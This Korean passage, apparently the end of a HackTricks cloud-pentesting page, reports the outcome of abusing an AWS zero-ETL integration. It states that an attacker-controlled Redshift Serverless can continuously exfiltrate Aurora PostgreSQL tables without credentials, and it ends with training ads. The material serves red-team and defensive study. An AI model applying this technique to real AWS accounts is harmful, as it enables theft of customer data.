  • CREATE DATABASE FROM INTEGRATION 이후, 테이블 목록을 확인하니 스키마 ztl과 테이블 customers가 나타났고; ztl.customers를 조회하니 2행(Alice, Bob)을 반환했습니다.

영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블을 소스 클러스터의 데이터베이스 자격 증명, 백업 또는 네트워크 접근을 사용하지 않고 연속적이고 거의 실시간으로 exfiltration할 수 있음.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기